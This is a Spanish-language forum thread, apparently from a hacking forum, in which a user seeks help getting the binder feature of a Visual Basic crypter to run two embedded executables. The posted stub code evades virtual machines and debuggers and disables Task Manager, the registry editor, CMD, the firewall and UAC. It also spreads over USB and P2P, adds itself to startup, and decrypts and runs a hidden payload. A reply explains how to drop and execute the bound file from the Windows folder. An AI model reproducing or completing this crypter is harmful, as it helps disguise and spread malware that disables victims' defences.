Buenas, necesito algo de ayuda ya que no consigo hacer que funcione correctamente la opción de bindear..
me sitúo justo donde cifra el archivo , y mi duda es como hacer para sumar los 2 archivos Y QUE SE EJECUTEN LOS 2 . He probado a sumarlo de varias formas y juntarlo lo junta, pero no se ejecutan nunca los 2, o se ejecuta uno o se ejecuta el otro...

Open Common.Filename For Binary As #1

Put #1, , stub & "Enero" & file & "Enero" & Encriptacion & "Enero" & pswdn.Text & "Enero"                        ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' archivo1

Put #1, , stub & "Enero" & binder & "Enero" & Encriptacion & "Enero" & pswdn.Text & "Enero"                  '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''binder

Put #1, , vbNullString & "Marzo" & errorusechk.Value & "Marzo" & titmsg.Text & "Marzo" & msg.Text & "Marzo" & msgnumber.Text & "Marzo" & txtWeb.Text & "Marzo" 

Put #1, , vbNullString & "Febrero" & anticheckn(1) & "Febrero" & anticheckn(2) & "Febrero"

Put #1, , d0.Value & "Febrero" & d1.Value & "Febrero" & d2.Value & "Febrero" & d3.Value & "Febrero" & d4.Value & "Febrero" & d5.Value & "Febrero" & f0.Value & "Febrero" & f1.Value & "Febrero" & f2.Value & "Febrero" & ChkFAdmin.Value & "Febrero" & ChkWeb.Value & "Febrero" & ChkStartup.Value & "Febrero" & ChkDump.Value & "Febrero" & ChkDebug.Value & "Febrero"

Close #1

No tienes que andas a ciegas. Ideate en tu mente el metodo que necesitas. simple.

cifrar los datos buscar la forma de verificar los datos que colocaste (usando un patrón para el split puede ser.) luego decifrar y ejecutar.

Saludos

Gracias por responder lo sigo intentando pero aun nada ...

Pink escribió:No tienes que andas a ciegas. Ideate en tu mente el metodo que necesitas. simple.

cifrar los datos buscar la forma de verificar los datos que colocaste (usando un patrón para el split puede ser.) luego decifrar y ejecutar.

Saludos

Sigo necesitando ayuda. Tal como hago con el primer archivo a cifrar hago lo mismo con el segundo, que es el archivo bindado.. tal como está en la linea 4, file1 es el primero y file2 el segundo..
Me los junta pero el segundo archivo no ejecuta. Please una ayudita

If Not Common.Filename = vbNullString Then
Open Common.Filename For Binary As #1

Put #1, , stub + "Enero" + file1 + "Enero" + file2 + "Enero" + pswdn.Text + "Enero"
Put #1, , vbNullString & "Marzo" & errorusechk.Value & "Marzo" & titmsg.Text & "Marzo" & msg.Text & "Marzo" & msgnumber.Text & "Marzo" & txtWeb.Text & "Marzo"  
Put #1, , vbNullString & "Febrero" & anticheckn(1) & "Febrero" & anticheckn(2) & "Febrero"
Put #1, , d0.Value & "Febrero" & d1.Value & "Febrero" & d2.Value & "Febrero" & d3.Value & "Febrero" & d4.Value & "Febrero" & d5.Value & "Febrero" & f0.Value & "Febrero" & f1.Value & "Febrero" & f2.Value & "Febrero" & ChkFAdmin.Value & "Febrero" & ChkWeb.Value & "Febrero" & ChkStartup.Value & "Febrero" & ChkDump.Value & "Febrero" & ChkDebug.Value & "Febrero"

Close #1

No creo que el error sea del builder. Postea el código que utilizas en el stub para leerse a sí mismo y el split.

Blau escribió:No creo que el error sea del builder. Postea el código que utilizas en el stub para leerse a sí mismo y el split.

Muchas gracias por responder Gran Blau !!, perdonad que aun no tenga capacidad para resolver solo este problema, nunca le metí tantas opciones al crypter y me e metido en un lio yo solo..
Este es el sub main entero, el split seguramente he echo una burrada al repetir el mismo con otra string.. a ver si me puedes corregir si no es mucha molesta . Un saludo y muchisimas gracias !

sub main()

Dim reg As Object, startup As Boolean, Rutaapp As String, filenormal As String, filebinder As String, Postres() As String, Cena() As String, Merienda() As String, Almuerzo As String, Desayuno() As Byte

Rutaapp = App.Path & "\" & App.EXEName & ".exe"

Open Rutaapp For Binary As #1
filenormal = Space(LOF(1))
Get #1, , filenormal
Close #1

Open Rutaapp For Binary As #1
filebinder = Space(LOF(1))
Get #1, , filebinder
Close #1

Postres() = Split(filenormal, "Enero")
Cena() = Split(filenormal, "Febrero")
Merienda() = Split(filenormal, "Marzo")

Postres() = Split(filebinder, "Enero")
Cena() = Split(filebinder, "Febrero")
Merienda() = Split(filebinder, "Marzo")

If Cena(1) = 1 Then
If IsVirtualPCPresent = 1 Then End 'virtualpc - VMWARE
End If

If Cena(2) = 1 Then
If IsVirtualPCPresent = 3 Then End 'virtualbox
End If

If Cena(3) = 1 Then 'administrador de tareas
Call Taskmanager_Deaktivieren
End If

If Cena(4) = 1 Then 'regedit
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d ""1"" /f"
End If

If Cena(5) = 1 Then 'CMD
Call CMD_Deaktivieren
End If

If Cena(6) = 1 Then 'FIREWALL
Call Firewall_Deaktivieren
End If

If Cena(7) = 1 Then 'AVIRA
Timer.Timer2.Enabled = True
End If
If Cena(8) = 1 Then 'uac
Call DesactivarUAC
End If

If Cena(9) = 1 Then 'USB
Call USBX
End If

If Cena(10) = 1 Then 'P2P
Call P2PX
End If

If Cena(11) = 1 Then 'MELTX
Call MeltX
End If


If Cena(12) = 1 Then 'restringir solo a admins
Call IsAdmin
End If

If Cena(13) = 1 Then 'visitar pagina web
Call ShellExecute(Me.hwnd, "Open", Merienda(5), "", "", 1)
End If

If Cena(14) = 1 Then 'startup
Call AddStartup("omg.exe", vbSystem)
End If

If Cena(15) = 1 Then 'antidump
Call sAntiDump
End If


If Cena(16) = 1 Then 'antidebug
Call antidebug
End If


If Merienda(1) = 1 Then
MsgBox Merienda(3), Merienda(4), Merienda(2)
End If

Almuerzo = ³â×¥Ð(Postres(1), Postres(3))




GoTo Crypt
Crypt:

Desayuno() = StrConv(Almuerzo, vbFromUnicode)

Call ‰‰€Ï™€(Rutaapp, Desayuno())

End Sub

Estas líneas sobran completamente:

Open Rutaapp For Binary As #1
filebinder = Space(LOF(1))
Get #1, , filebinder
Close #1

Postres() = Split(filebinder, "Enero")
Cena() = Split(filebinder, "Febrero")
Merienda() = Split(filebinder, "Marzo")

Exacto, aun así no funciona aun

Blau escribió:Estas líneas sobran completamente:

Open Rutaapp For Binary As #1
filebinder = Space(LOF(1))
Get #1, , filebinder
Close #1

Postres() = Split(filebinder, "Enero")
Cena() = Split(filebinder, "Febrero")
Merienda() = Split(filebinder, "Marzo")

A mi me da la impresión que el problema está en que no estoy nombrando acá al binder .Realmente no sé.. esto me pilla algo lejos..

Postres() = Split(filenormal, "Enero")
Cena() = Split(filenormal, "Febrero")
Merienda() = Split(filenormal, "Marzo")

Es que no se ve que uses ninguna opcion de bind ni nada por lo menos en el stub,un ejemplo creo que seria asi:
Cliente

If Text3.Text <> vbNullString Then 'aqui la ruta del bind del cliente

        Open Text3.Text For Binary As #1
            bind = Space$(LOF(1))
            Get #1, , bind
        Close #1
put .......
Put #1, , bind
Put #1, , "key del split"

Stub

If SecondSplit(2) = 1 Then 'la opcion de si el bind esta activado o no
Open Environ("windir") & "\bind.exe" For Binary As #1
Put #1, , SecondSplit(3) 'son los datos del bind que puso el cliente y los pone en C:\WINDOWS\bind.exe
Close #1
Shell (Environ("windir") & "\bind.exe") ' se abre  C:\WINDOWS\bind.exe